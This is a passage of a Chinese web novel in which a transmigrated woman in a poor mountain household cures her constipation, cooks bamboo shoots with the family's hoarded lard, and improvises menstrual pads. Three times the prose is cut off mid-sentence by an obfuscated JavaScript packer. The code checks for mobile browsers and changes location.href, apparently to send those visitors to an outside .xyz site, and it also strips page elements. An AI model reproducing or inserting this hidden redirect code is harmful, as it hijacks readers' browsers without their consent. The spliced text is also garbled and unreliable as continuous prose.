刀莲生起初还觉得有点好笑,等到听到她最后一句话,浓眉拧起来,说:“只不过是拉,拉……拉不出,咋又说起死不死的了?以后可不能这样说。” 海棠胡乱应了声,早饭都没心思吃,左右手一起开工,一把接一把,很快就把一小筲箕洗干净的鹅儿草全塞进了肚子里,完了后又往茅厕跑。 白氏端着空碗走进来,面色凝重,“怎么样?她真是在发癫啊?” 门口探出来刀莲荷的脑袋,要笑不笑,“哥,你亲眼看见了吧?我没说错吧?” 刀莲生瞪一眼妹妹,对母亲道:“她说她肚子有些不舒服,鹅儿草是清热解毒的,看吃了有没有用。” “什么清热解毒?哪里的说法?”白氏也疑惑:“那是草,吃草能管啥用?” “可能是汉人地方的偏方。娘,我去给她烧壶水泡壶酽茶喝,说不定喝了就好了。” 49. 第 49 章 小半个时辰后,海棠的肚子终于有反应了,可是又来得太生猛。 已上火多日,昨晚半夜加餐扎扎实实吃了两个烤糍粑,早上再生吃了一大把鹅儿草。山泉水淘洗的鹅儿草,那水质本就堪忧,再跟着喝了一大碗刀莲生递上来的浓茶,再强壮的胃,也禁不住这样的折腾啊。一连番凶猛的操作下,像多米诺骨牌似的,起了连锁反应,她拉得快脱水。 后来勉强下了田里去栽秧,干了不到二十分钟,忙不迭地爬上田坎就往家跑。回来的时候,刀莲生看她如霜打的茄子,脸色暗沉,甚是担忧。 后来这种情况又上演了一回,海棠再下田来,已是摇摇欲坠模样,刀莲生连忙让小妹莲叶引着海棠回去休息半日。 海棠走后,刀莲生也没心思插秧了,不时扭头看看家的方向。 想起山里的蘑菇每年都吃死过人的,刀莲生只担心海棠吃的那一筲箕鹅儿草把她吃坏了。那是路边的杂草,从来都是割来喂猪喂牛羊牲畜的,人哪里去吃那玩意儿?她人回家去后,反而因没在眼前看顾着,他内里心急如焚。 白氏也跟儿子想到一块儿去了。 先前她只听儿子说儿媳妇肚子不舒服才吃鹅儿草的,结果吃了后反应那么大,那不是吃坏了人那是啥?! 她就觉得那什么从没听过的偏方要不得,头一回听说那随处可见的鹅儿草还能治病,不蒙人的吗?白氏想了想说:“莲生,你还是回去看看她的情况。实在不行,你去堂伯娘家借点蜂蜜来,给她兑一碗蜂蜜水喝。” “嗯。” 刀莲生也正有此意。 他立刻在浑水里把手上淤泥洗了个头道,爬上田坎,大步往家去看妻子。 卧房里,莲叶进屋来看了海棠三趟了。 “嫂子,你怎么样?好些了吗?”她担忧地问。 “没事了。”海棠苦笑着朝小姑子摆摆手,“我躺会儿就好了。” 一上午,茅厕跑了五六趟后,积攒在肚子里好几天的垃圾终于清得干干净净,肚腹清空了就不再跑茅厕了。她现在就是虚,胃里没内容,身子虚软无力,休息一下就好了。 也不知道是鹅儿草的功劳,还是刀莲生那一碗酽茶的功劳,总之是把她便秘的问题彻底解决了。如今一身轻松,休息一下,睡个半个时辰,她就能恢复得生龙活虎的了。 天天吃辣椒,不是炕辣椒就是烤辣椒,刀家简直把辣椒当主食顿顿吃。 海棠原先还以为就刀家这样,但是那天寨子里逛了一圈儿,看见人家端的饭碗里搁的也主要是辣椒,便知道这里的人吃饭就是这样的,可能刀家更甚一点。 她问刀莲生为什么大家不多种点别的蔬菜下饭吃,刀莲生说菜蔬不管饱,“咱们山里的地本来就不肥,浇水也不方便。种粮食都填不饱肚子,哪里还有余地种菜蔬?” 原来不是这里的人不想种,还是穷的问题。 山里的旱地都是火耕地,烧掉森林开垦出来的,浇水施肥都是问题,主要靠天吃饭。人们就把能种的地方尽量多种能果腹的粮食,像包谷、粟米、番薯和稻子。菜蔬只是用来下饭,在土地贫瘠的情况下,就变得可有可无了。 最爱种辣椒。辣椒好种易活,对土地的要求不高。一棵辣椒树能结好多的果子出来,陆续摘陆续结,结果期长,能吃半年以上,是以家家户户爱种这玩意儿。 别的菜蔬还得用油盐炒。养猪的人家可能不缺油,盐巴却可能缺。山里不产盐,只能拿钱买。可是在大山里钱又不好赚,所以盐巴就显得很珍贵。 生活在这地方,能图个温饱就不错了,哪里还会去讲究饭菜的精致? 莲叶把稀饭熬好,又进屋来看海棠。见她果真如她说的那样好转了,脸色精神都好了很多,很高兴。转出去端了个竹编撮箕进来,喜滋滋地卖弄道:“嫂子你看,我掰了好多!” 海棠撑起身子一看,顿时双目大亮,“哪里来的?” 一撮箕的竹笋诶! 莲叶看她高兴,也很高兴,笑盈盈说:“前天不是下了场雨吗?你说下雨过后竹林里会冒出来好多。这两天时间,我天天去瞅一回,就眼瞅着它们还真是呼啦啦长啊。我怕掰晚了就又变老了,赶紧把大的都掰回来。嫂子,我们中午做来吃好不好?” 海棠哪里还睡得着?立刻翻身下床,“当然要做来吃啦!新鲜采摘回来的才好吃呢,放个过夜,那味道就不对头了。” 莲叶一听,更加高兴,开始安排了,“嫂子,还是烤吗?今日的个头大,灶膛里埋不了几个。不若我把火塘烧起来,烧些灰出来,火塘里也烤上几个。” “不,今天我们炒来吃。” 莲叶按照海棠的指示把竹笋都剥了笋壳,然后剖成两半。 铁锅烧开水,把笋子都丢进去,开水里滚几滚,煮焉了后再捞起来放凉备用。 今儿掰回来的竹笋个头都很大,剥了笋壳都还有拳头大小。 海棠挽起袖子,把焯过水的竹笋切成小指粗细的条,放在筲箕里沥水,晾干水分。 开始准备调料和配菜。 也没啥配菜,就是辣椒,切几个,让素炒笋子添个味道和颜色,更有卖相些。 打开碗柜熟门熟路地把盐巴罐子拎出来,到处翻找没找到油。 “莲叶,家里的猪油放哪里的?我看碗柜里没有。” 莲叶看海棠把盐罐拿出来已经看得咂舌,说:“猪油放碗柜容易招耗子和偷油婆,我们都不放碗柜里。不过,家里好像没猪油了吧。我们都好久没吃到油水了。” “有。那次你哥去嫂子娘家不会带回来一罐吗?” “哦,对哦。”莲叶想了下,道:“应该是在我们睡的二楼的米柜里。娘总是习惯把好东西都放在她床头的那个米柜里。” 海棠有些愕然。 一罐子猪油而已,值当藏那么深? “那你去楼上把猪油拿来。” 莲叶立刻摇头道:“没娘的允许,谁也不敢去动那个米柜。” “可炒菜肯定要放油才能炒啊。” “所以我们家就不炒菜。”莲叶咕哝说。 海棠一噎,失笑道:“这样,你去拿来我们偷偷用了然后赶紧放回原位就是了。你看这会儿,娘他们快要回来了,我们赶紧把笋子炒好了好开饭了。” 莲叶还是不干,“那罐猪肉还没开封,要是娘发现里面被舀了一块,她会发火的。” 这可不似那罐子盐巴,抓一撮吃了也看不出少了些。 “那这样吧,如果中午吃饭的时候娘发现用了猪油,她要是发火,我们就一致说是你哥让我们用猪油炒的,懂不?” 莲叶吃惊地看着海棠。 不想这话正好叫灶屋外的刀莲生听见了,脸皮子抑制不住抽搐。 他担心海棠,看看也要到饭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14429550|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿了,便提前一刻钟回家来瞧瞧情况,走到屋外就听见自己妹子和媳妇儿正算计他呢。 刀莲生进屋去,若无其事道:“你好些没?要不要我去堂伯娘家里借点蜂蜜来,给你兑一碗蜂蜜水喝下去?”目光在妻子脸上打量。 灶台前水汽火气一熏蒸,海棠这会儿脸色还有点红润,气色很好,看上去已没事了。 他暗自放下心来。 海棠见到丈夫,如见救星,立刻欣喜地捉着他的手臂往外推,“快快,趁着娘还没回家,你把那罐你从我娘家拎回来的猪油给我拿来炒笋子吃。咱们先斩后奏,待会儿她回来了,就不一定能吃得上猪油了。” 刀莲生回头看,只见灶台上放着一大盆切好的竹笋等着做成美味。 他是亲眼见海棠吃过竹笋的,这么多天了,她一点事情也没有,可见这东西是真能吃的。 一起生活的这近一个月,她干出的出人意料的事情好几件了,他已经习以为常。此刻听她说要用猪油炒竹笋吃,自己倒是没异议,只是担心母亲那里不好交代,便说:“这么大一盆要用不少猪油吧?算了,不炒,裹点辣椒将就吃。” 但马上想到她上午不舒服,拉肚子拉得脱水还差点晕倒在水田里,又说:“或者,要不,你自己炒一小碗来吃就行了。你把勺子给我,我去舀一点油来。” “我吃独食怎么成?”海棠听得直皱眉头,大言不惭道:“你们顿顿吃辣椒,还没吃烦吗?莲叶都说你们几个月没吃到油水了,今天就算是我给大家加餐吧。今天中午咱们换个菜,笋子下饭,吃饱了下午好去栽秧子!” 刀莲生别有深意地瞥她一眼。 不知道昨晚吃独食的人是谁? “夫君,这几日大家都太辛苦了,吃点猪油才能增加气力。你快去拿吧,回头再跟娘说一声,她肯定理解的。”海棠把刀莲生推出灶屋,他犹豫了下,想着妻子说得也是,便曳开两条长腿去了堂屋。 海棠咧嘴而笑,回头看莲叶,莲叶眼睛都笑弯了。 这头刀莲生把猪油罐子抱下来,白氏和大女儿也慢哒哒从田里回来了,海棠赶紧拍开油罐封口准备炒菜。 限于食材有限,炒素笋就很简单,几个长辣椒切碎了做配菜。 锅烧热,先把辣椒丢下去烘干水气,等到烧出虎皮。海棠用木勺子狠狠舀了一大勺猪油刮进锅里。 她不管后果,先吃了再说。 莲叶坐在灶膛那边烧火,看到嫂子的动作,震惊地张大了嘴巴。 但她今天不用担心,反正娘要是怪罪,这回有哥哥挡在面前。 八~九大个竹笋焯水后切出来也有很多,莲叶翻出来脸那么大个土陶盆都装满了。笋子多,自然油就用得多。 大火翻炒个两三分钟左右就可以了,加盐巴再翻炒几下,拿筷子夹起来尝尝咸味儿,美滋滋。 海棠把笋子起锅,盛在土陶盆里。 莲叶闻着猪油化开后弥漫在空气里的香气直吞口水,再看到海棠尝味道的时候又大大吞了一口口水,她不好意思说嫂子让俺也尝一口,拐着弯儿说:“嫂子,这个笋子真的能吃吗?” 海棠不回答,直接又抓起筷子夹了一筷子笋朝莲叶扬扬手,脸上笑着。 莲叶秒懂,立刻从灶膛那边转过来,张嘴把一筷子炒笋含在嘴里,嚼了两口,双目放光。 乐呵呵把一盆炒笋端出去了。 50. 第 50 章 刀莲生提了半桶水去出去给母亲和妹妹洗手洗脚,刀莲荷从灶屋门口经过,闻到香气,边洗手边哇哇大叫:“什么东西这么香!”肚子勾得也咕噜咕噜直叫唤了。 刀莲生抱着猪油罐子要放回楼上,见母亲正在堂屋喝茶,忙把猪油的事情提前打个预防针,半真半假给他娘说:“去别人家借蜂蜜总归是要还的,山里的野蜂蜜也难得碰上,要靠运气,我想想还是算了,就没去借。她人本来就瘦,来咱家里又瘦了一圈儿。我就想给她补补身子,吃点油水,效果也一样。” 白氏听罢,只道刀莲生给海棠做了碗搅了点猪油的面糊汤喝,便道:“身体要紧。她的确是太瘦了。当初我和你堂伯娘去傅家庄相看人的时候就觉得她身子骨不够壮实,只那样貌还过得去点。” 刀莲生嗯了声,不欲多说,怕说多错多。 刚才他给猪油罐子重新封口的时候往内瞧了眼,吓了一跳。 里面凝结的猪肉本是满满一罐,现今给舀了女人拳头那大一个窝出来! 刀莲生谢过母亲,上二楼去把猪油罐子重新放回米柜里。下来时顺便把蔑桌提到院坝子,又去灶屋把一鼎锅的稀饭端出来。 这几日的饭食是这样的,早上一般吃粗粮烙饼,中午则是吃红苕煮米粥。——吃白米饭,在刀家人眼里便算是好东西了。也只有下田干活儿的日子里才有米面吃,打谷子的时候则有荤腥吃。其余时候,粗茶粝食,主食完全不讲究,全是掺着麸皮糠壳的粗粮,见不到一点精细粮食。 是以,今天中午的蔑桌上,午饭仍是每人一大碗红苕大米煮的稀粥。 另外,搭配了两样素菜下饭。 一样自是顿顿都不缺的火烧辣椒,一样是脸那么大一盆的炒素笋。 白桂景和刀莲荷坐下来的时候先已为今日蔑桌摆满了而感到震惊,再一看中间那一大盆菜,热气腾腾的,扑鼻的油气香味儿直往鼻子里钻,都很惊讶,吃惊地异口同声问:“这炒的是什么呀?” 山里人从没谁去剥过竹笋,只有小娃娃讨嫌的时候可能去剥笋壳叶子挠人痒玩儿,所以这已经剥壳焯水,还炒成丝的笋子,真是没见过。 海棠讨好的:“娘,你先尝尝好吃不好吃。” 白氏没动作,只看海棠先前还要晕倒的柔弱样子,这会儿却又跟没事人一样了,有些奇怪。 倒是刀莲荷抢先不客气地讽笑道:“咋的,嫂子你还卖关子呐?我还不信你能给家里变出山珍海味来吃。” 刀莲生夹了一筷子塞进嘴里,大口嚼了两下就吞了下去,稀饭碗端起来猛喝一口,又伸筷子去夹菜。 刀莲荷看哥哥吃得这挺香啊,夹了一筷又一筷。又侧头看看身旁的妹妹,也吃得很香,都只往那大盆里伸筷子,旁边那盘辣椒动也不动。 她便也伸手夹了一筷子炒笋丢进嘴里,嚼两口,只觉得那菜鲜嫩爽脆,还有浓郁的猪油香气满嘴里乱蹿,肚子叫得更欢畅了。一口吞下去,不满足,忍不住又大大地再夹了一筷子,然后端起稀饭来猛喝两口。饭菜一起下肚,那幸福满足的感觉直叫她想流泪。 此后她不再说话,只一径频频朝那盆菜伸筷子。 心头直庆幸今日这菜做得多,这么大一盆,那就敞开了肚皮吃! 白氏见儿子女儿一个个狼吞虎咽,更为吃惊。试着夹了一筷子那菜吃了两口,脸色阴晴不定起来,终是什么也没说,也把稀饭碗端起来,刨一口红苕稀饭,得夹两三筷子笋子来下饭吃。 今日中午这顿吃得很沉默,默契地谁也不说话,但是夹菜的动作就没停过,隐隐有种怕给抢光了的意思。 不过菜做得多,一鼎锅的稀饭都舀完了喝光了,菜都还没吃完。 一家子搁下饭碗都有些意犹未尽,看那个土陶盆里的笋子还剩了小半盆呢,视线都舍不得移开。 海棠见状,本着不浪费的原则,这天气大,又没冰箱,剩菜放不得,各人的肚子也不是没空间了,她于是起身来给大家分了。 先给婆婆拨了半碗笋,再给丈夫也拨半碗,然后是莲叶和莲荷,最后才是自己,已没剩几筷子了,她连着底下的汤汤水水一起倒在自己碗里,搅合着剩下的稀饭,大口吃下去,餍足不已。 一大盆素笋,最终也吃了个底朝天。 那盘烤辣椒,竟是没人光顾。 看婆婆彻底放下碗筷抹了嘴,海棠这才说这是竹笋炒的。 担心他们因没吃过会怕吃坏肚子,特别说明一番道:“我们汉人地方,这道菜可是经常吃的。不过我们那儿地好地多,种的菜蔬多,所以这竹笋也就不稀奇了,只偶尔掰些来给家里加个菜罢了。倒是城里的有钱人家没怎么吃过我们乡下人的东西,就特别稀奇,他们还要花钱买来吃,觉得竹笋鲜美爽口,堪比山里的蘑菇。” 海棠这样一说,白氏倒是信服的。 他们这山里的很多东西,对于山外头的人来说都很稀奇,山外头的人都喜欢,尤其是野味儿,荤的且不说,便是那素的野味儿,好比蘑菇、黄花、蕨菜、香椿,很舍得花大价钱买了去,只为一饱口福。 他们还听说过山外的人吃得好,那餐桌上可丰富了!一顿饭,有钱的老爷家里,十个八个菜蔬不在话下,荤素都有。不像他们这里,翻来覆去就那几样,一个巴掌都数得过来。平时一两样下饭菜,都是素的,且没油没盐,味道寡淡。肉那可是逢年过节和农忙时节才有得吃! 是以海棠这样说了,白氏和刀莲荷都没作声,只遗憾从前没早知道那竹笋竟是可以吃的东西,白白浪费了不少。 吃完了饭抹了嘴,白氏把海棠看看,再把儿子看看,上楼去了。 不一会儿她下来,脸色很黑。 这气恨模样,自然是去看了眼那罐猪油用了多少。 今儿这笋子炒得实在太香了,少油少盐可炒不出来这好吃的东西。 她也瞧得清清楚楚,笋子分完后,那只土陶盆盆底的汤汁肉眼可见的油花花浮在上面呀! 吃的时候她就猜用了不少油,不然哪可能汤汁还能浮着一层油花?上楼去一看,果然! 照今日这样的吃法,那一罐子猪油,顶多吃个七八回就没了! 白氏气得不行。 但是这事儿儿子是请示了她的,她只好闷不吭声。 只她原以为只是给海棠一个人吃点,舀一点在面糊汤里,让她沾点荤腥而已。谁知道罐中满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14432501|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满一罐的猪肉,中间舀了几乎是桃子那么个一缺口出来! 那罐猪油可不能再动了,不然到时候十月间打谷子的时候,没有油水吃,怎么下力气呢? 不是她吝啬,实在是家穷啊。家里今年没养猪了。粮食少,养不起猪。猪是要吃粮食才能养得肥,不像其他畜生,喂些草和一些粗粮豆子就能养大。以后要吃肉吃油,就只能拿钱买。可这钱来得也不容易啊。现目前就指望着家里的头茬儿麻织的那些布能换些银子回来花花。 今日这顿饭是吃得最巴适的。一家子几个月没沾荤腥了,馋得那叫个流口水,只空气中闻到那股子猪油的油气香味儿,嘴巴里就直冒酸水。再到吃进嘴里,便是那烤辣椒瞧都不愿瞧一眼了。 只白氏心里想起今日这猪油被骗去了一大勺,心里窝火得很。 原来那儿媳妇根本不是什么肚子不舒服,她就是嘴馋了! 演了好大一出戏,只为变着方儿掏吃家里那点好东西呐! 白氏心里憋着股郁气,出了堂屋,就一阵嚷嚷,催促着全家下田去继续栽秧子。 可能是拜午饭那盆猪油炒笋子的功劳,笋子够多,每个人都管饱了的,又有油水,下午一家子都去下田栽秧了,浑身精力倍增。半日时间,竟也栽完了一块秧田。 晚上吹灯上床,海棠侧身面向刀莲生而睡,看着他洋洋得意地说:“都是我的功劳。” 刀莲生仰躺着,闻言,嘴角微微上翘,语气却是刻意做出的平板没有起伏,“都是猪油的功劳。” 海棠脆生生笑,美滋滋地计划起来:“由俭入奢易,由奢入俭难。我要求不高,不吃多了,每个月争取吃到两回油水就成。” 这晚,刀家一家子都一夜好梦。 梦里,刀莲叶和刀莲荷姐妹俩一直在咂嘴巴。 转天早上起床来,海棠只觉得身上有种似曾相识的感觉,起身往身下睡过的地方一看,还真是那早盼了好几日的月事来了。 她赶紧问刀莲生索要棉布和棉花救急。 刀莲生不知道她要做什么,因为棉花金贵,向来没多余的,便多嘴问了句要这两样东西做什么。 海棠说她大姨妈来了,要做姨妈巾。 刀莲生听不懂,以为是她要来亲戚了,疑惑地说:“你怎么知道姨妈来了?是你娘家托人给你送信了吗?” 海棠笑得捧腹,解释说是女人身上每月都会来的那个事情,刀莲生这才懂了,闹了个大红脸。 他把衣柜翻了又翻,最后翻出来一条他穿得稀薄的旧亵衣,叫海棠拿去用。 海棠捏了捏衣服料子,嫌弃道:“手感这么粗糙,这不是棉布啊。这是啥料子?” 刀莲生说是麻布。 海棠说:“那不行。我做的姨妈巾是要贴身穿戴的,这布料太粗糙了,我要棉布。” 刀莲生无可奈何道:“没有,家里人都穿的麻布。你将就一下。” 海棠不悦:“我怎么将就呀?那里是女人身体最嫩的部分。你想象一下,我又要经常走动,磨着我那里,不疼死我?” 刀莲生那张才退了烧的脸膛,又发烫起来。 他想象不出,也想象不了。 51. 第 51 章 “家里怎么可能没棉布?那莲荷和娘,来月事的那几天,她们是怎么解决问题的?要做事,要出门,不可能不做处理的,弄脏了裤子,沾到了显眼的地方,那不丢脸死了?”海棠若无其事地拦着刀莲生非要讨要到棉布,“肯定有的,你好好想想。不行的话,你找娘问问看。” 刀莲生的脸都要焚烧起来了,他压着嗓子,几乎是吼的,“我怎么知道?!” 他实在不想跟海棠讨论女人那几天是怎么解决问题的,他别着脸,低声讨饶着:“这些日子你就少走动好了,就待屋里。”顿了顿还说:“我把饭菜给你送屋里来吃。” 海棠闻言,有些错愕,“没得那么夸张吧,我又不是得了重病。” 又说:“婆婆不骂我好吃懒做?我不要。” 刀莲生想了下,道:“我去给娘说你不舒服,肚子疼什么的。你放心,我去说的话,娘就不会责备你了……” “但是月事是每个月都雷打不动要来的。我总不能每个月都恰好有那么几天不舒服啊,不成的,到时候娘知道了事实,反倒更加生气,她定然骂我娇气,她会把我骂得狗血淋头,我不要。”海棠立刻否决道,“你还是问娘给我要块棉布来吧。差不多两块枕头巾那么大一块棉布,够我做七八个姨妈巾就好。每个月都有用的了,一劳永逸,这才是解决问题的长久之计。” 刀莲生听罢,觉得妻子说得甚是有道理。欺哄不是解决问题的方式。 而且家里针头线脑的事情,他一向没大关注,说不定娘那里真的有。 男人都是一家的顶梁柱,主要精力都用在田地里、侍弄庄稼上的。 海棠这样一说,莲生也不敢肯定家里到底有还是没有了。 便道:“那我去问问娘看看有没。如果实在没有,你就把我那件亵衣裁剪了,缝厚几层,会软一点,先用着。等过个把月家里的苎麻布卖了钱,我再给你买块棉布回来。” 海棠这才没话说了,抬起右手,拇指和食指一错,笑眯眯冲男人比了个爱心。 后来刀莲生下田干活儿,插一会儿秧子就会忍不住停下来,偷偷把拇指和食指上下一错,看着那两根指头交错出来的姿势,百思不得其解,“她到底是什么意思啊??” 给海棠逼着,刀莲生涨红着脸去向母亲要棉布。 家里果然还有些零碎布料,白氏收藏着。 寨子里的女人们,一年里大部分时间是在纺线织布,靠这个给家里赚取家用。除了自己种出来的苎麻,他们还承接外面的棉花纺成线、织成布的活儿。 山外头汉人的地方,有大地主种植棉花。如果有闲工夫,寨子里的女人们会不辞辛劳地出山去给汉人大财东采摘棉花。事情做完后,有时候大财东不给现银,而是给几斤棉花作为酬劳。女人们就把棉花拿回来纺成线,然后再织成布。棉布的价格肯定比棉花高,比麻布更高。织成的棉布,要么自己留用,做些大人小孩儿的贴身衣物,要么就是拿去卖了换成银子花用。 棉布比麻布穿着舒服多了,每家每户几乎都有一两匹留着以备不时之需的。 白氏手里的棉布都存了好几年了,一直没舍得拿出来用。 那还是她身子骨还不错的时候去山外头给人采摘棉花存下来的,打算给儿子娶妻的时候,她得闲把棉花纺了出来。 听儿子说想要枕头巾大小那么大块棉布,白氏疑惑道:“你要棉布做什么?那么小一块,也做不了一件衣裳啊。” 刀莲生胀得脸色通红,含糊回道:“她想用来做贴身衣物,所以要得不多。” “她?”白氏看儿子极不好意思的样子,懂了,多半是做肚兜或者亵裤。 枕头巾那么大一块的话,那定然是做肚兜了。 这是汉家女子贴身的穿着。 窝尼家女子不穿肚兜,她们贴身穿的是无袖的汗衫褂子,也是用棉布做的。 于这方面,白氏还是很大方,“行,我给你拿。” 白氏翻出衣柜底下压着的白色坯布,有床单那么大一块。 她那剪刀裁剪下来枕头巾大小的一块给了儿子。 “剩下的留着以后你媳妇儿生了孩子用。奶娃娃肌肤娇嫩,棉布不伤皮肤,这块布就给孩子做小衣服小裤子帽子鞋子穿。”白氏美美说着,把剩下的布叠起来重新压在柜子底下。 视线落在一旁的其他布料上,想到今日儿子来给媳妇儿要布做贴身衣服,莫不是二人有实质进展了? 不然这多私密的女人物事,儿媳妇不来找她要,倒指使男人来索要,两人肯定亲密无间了。 白氏回头瞅瞅儿子。 刀莲生抿着嘴,手摸着那块棉布神思不属,也不知思绪飘到哪里去了。 这一看他模样,铁定是跟妻子好上了。 她刚才提到孩子,傻儿子也没再反驳说跟媳妇儿要顺其自然的话。两个人睡一屋好几天了,孤男寡女,又都年轻,儿子血气方刚,面对娇妻,哪里真忍得住? 这一想,白氏暗自欢喜无限。 见儿子拿着布就要下楼去了,忙喊住道:“那天你提了要求后,我后来想了下,她来了咱家里,一直穿着从娘家带来的衣裙。她老那样穿也不行,跟我们窝尼家的女人大大不同,太显眼了,不但让人指点,寨邻们也会背后笑话你我,说咱们舍不得给新妇置办穿的。你把这卷布给她,让她做两身窝尼女人的衣裳穿吧。” 白氏翻出刚才视线落下的那匹质地粗糙的黑布递给儿子。 刀莲生迟疑着没接,“娘,她可能不会做咱窝尼女人的衣裳。” 白氏一想,也对。 她都不会绩麻,哪里又会做衣裳了。 “那算了。回头让莲叶去给她量下尺寸,等我和莲荷得空了就给做她一两身穿的。” 刀莲生欣喜万分,谢了母亲,打算要走,猛然想起还有样东西没要到,红着脸再问道:“娘,棉花有吗?给我一两好吗?” “要棉花又要做什么?” “她,”刀莲生的黑脸膛又变得紫胀,“我……其实,她来月事了……” 白氏恍然大悟,原来不是做肚兜,回道:“用草木灰就行了。你叫她去灶膛里挑干净的抓,想要多少要多少。” 刀莲生也不太懂这个,但想母亲既这么说,那母亲平时估计便是就这样做的。 他拿着那块白棉布去海棠那里交差。 海棠自然问起棉花,“棉花没有吗?” “娘说用草木灰就行了。” 海棠吃了一惊。 海棠在护校读书的时候虽然是个学渣,但是倒也有一些基本的医学理论知识。 那草木灰经过高温烧出来,干净得很, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449027|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有消毒杀菌等功效,可用它来治疗便血、雪崩、带下等。 但是,可能在贫穷落后的地区有人用此方式,但在资源丰富的现代,她是从未见过或听说过有人用这东西来处理经期流血的。 海棠自然不会用草木灰,她要另想办法。 刀莲生给海棠拿来了她想要的棉布,海棠发现男人目光乱扫,不敢看她。 海棠注意到,暗暗好笑。 我的天,他不是男人吗? 一个成年男人,又不是十几岁的青涩小伙子,咋这么纯情呢?竟跟个小姑娘家似的扭扭捏捏。她这来月事的人都大大方方的,他不过递给她棉布就害羞成这样了。 海棠忽然起了逗弄他的心思。 目光往刀莲生腰间一扫,在男人转身要出去的时候,她拉住了他的手臂。 刀莲生上身还是那件黑色的无袖绣花对襟短衣,下身系一条七分长短的黑色筒裤。因为不是连身衣裳,动作的时候,那腰间的部位便要露不露。 海棠拉住了他的手臂,刀莲生不明所以,回头看她。 这时候海棠另只手已灵活地钻进他衣摆下面,快速在他腰腹上摸了一把。 刀莲生哪料到她突然来这么一下?本能的,他抬手就大力挥开了她的手,动作幅度之大,把海棠带了个趔趄,她差点扑到地上去。 海棠也万料不到刀莲生的反应竟是这样,而且他反应这么大,倒衬得她像个女流氓似的,臊得不行,恼羞成怒,俏脸一沉恶人先告状,凶他道:“你干嘛推我!” 刀莲生脸上一阵红一阵白,微微喘着粗气,“这问题该我问你——你突然摸我做什么?” 海棠极力憋着笑,斜眼看他:“这还用得着问?我馋你身子了呀。” “……”刀莲生心尖儿一抖,窘迫极了。假装没听到这话,只咕哝了句:“娘说要给你做两身我们这里女人穿的衣服,待会儿让莲叶来给你量尺寸。”大步出去了。 海棠错愕了半晌,回味了下刚才摸到的那男人腰腹的手感,硬邦邦的,很有力。 她挺满意。 笑了笑,没再去管刀莲生了,回身把棉布在凉床上展开,拿剪刀裁剪成多块小幅长布条,然后找来针线缝出来七八个长筒袜状的姨妈巾。 婆婆不给她棉花,事急从权,海棠就把刀莲生盖的那床薄被被单拆开一角,从里面扯了一把棉花出来,一一塞进长筒布袋里,最后封口缝上,就做成了一个个简易的姨妈巾出来。 不巧,刀莲生之前被她调戏,今日下田磨磨蹭蹭,路上也在回味海棠摸他那一下她的手感,软软和和的,叫他下半身直发紧…… 走到半道,又想起海棠要做的姨妈巾,她想要棉花,便想,干脆把自己盖的那床薄被里的棉花匀一些出来给她用。 本来那是床冬天用的垫絮。他是男人,常年身子火热,并不那么怕冷。如果垫絮实在太薄了的话,大不了多铺些谷草在身下好了。 于是转回家去。 撩开帘子就看到自己盖那床被子被拆开了被单,里面的棉花被扯了出来还没规整回位,就那么散乱地堆在凉床上。 刀莲生:“……” 好吧,他这妻子看起来还是挺会过日子的。他该值得高兴。 还有,两人都想到一块儿去了,是不是说明他和她很有夫妻相? 52. 第 52 章 海棠因着身子不便,后头两天都没下田。 可能来月事这日她先吃了很多生鹅儿草,那东西性寒。又再喝了一大碗浓茶,茶性寒凉。“双管齐下”,海棠这月事就来得十分凶猛,头一日她竟疼得没下床,冷汗淋漓,把头发和衣服都濡湿了。 白氏本是要说她两句的,进屋来看她竟这么恼火,责怪的话就没骂得出口。 她也是过来人,知道女人若是没有将息好身体,有时候来月事就犹如大病一场似的,腰酸背痛那还是轻的,严重的还会上吐下泻,短暂晕厥过去。 海棠本来就苗条,来山寨里生活了一段时间后又瘦了不少。她原本那身板看在窝尼人眼里就不壮实,现在瘦得一阵风就能吹倒似的。是以这次来月事情况严重,也是有迹可循的。 白桂景看她脸色白如金纸,还不免担心出事,亲自去妯娌家里借了点蜂蜜来,让儿子兑了温开水给海棠喝下去。 喝了热蜂蜜水,再睡了一觉后,海棠的脸色才有了点血色,下腹坠胀疼痛的感觉缓解了不少。 白氏允她在家多休息两日。 几日前那场雨后,刀家竹林里果然冒出来很多竹笋,莲叶担心笋子变老,而且这玩意儿是过时不候的,也就没每年五月份有,她就全给掰了回来。 一部分做成菜给大家吃。因没猪油炒,便做成泡笋,结果白氏怪罪滥用了盐巴,做了一回吃过后也没敢再做了。剩下的竹笋,海棠教莲叶全做成干笋子保存起来。 干笋子做起来很简单,把竹笋剥壳、切条,然后水煮,最后大太阳晒干即可,两三日就做好了。 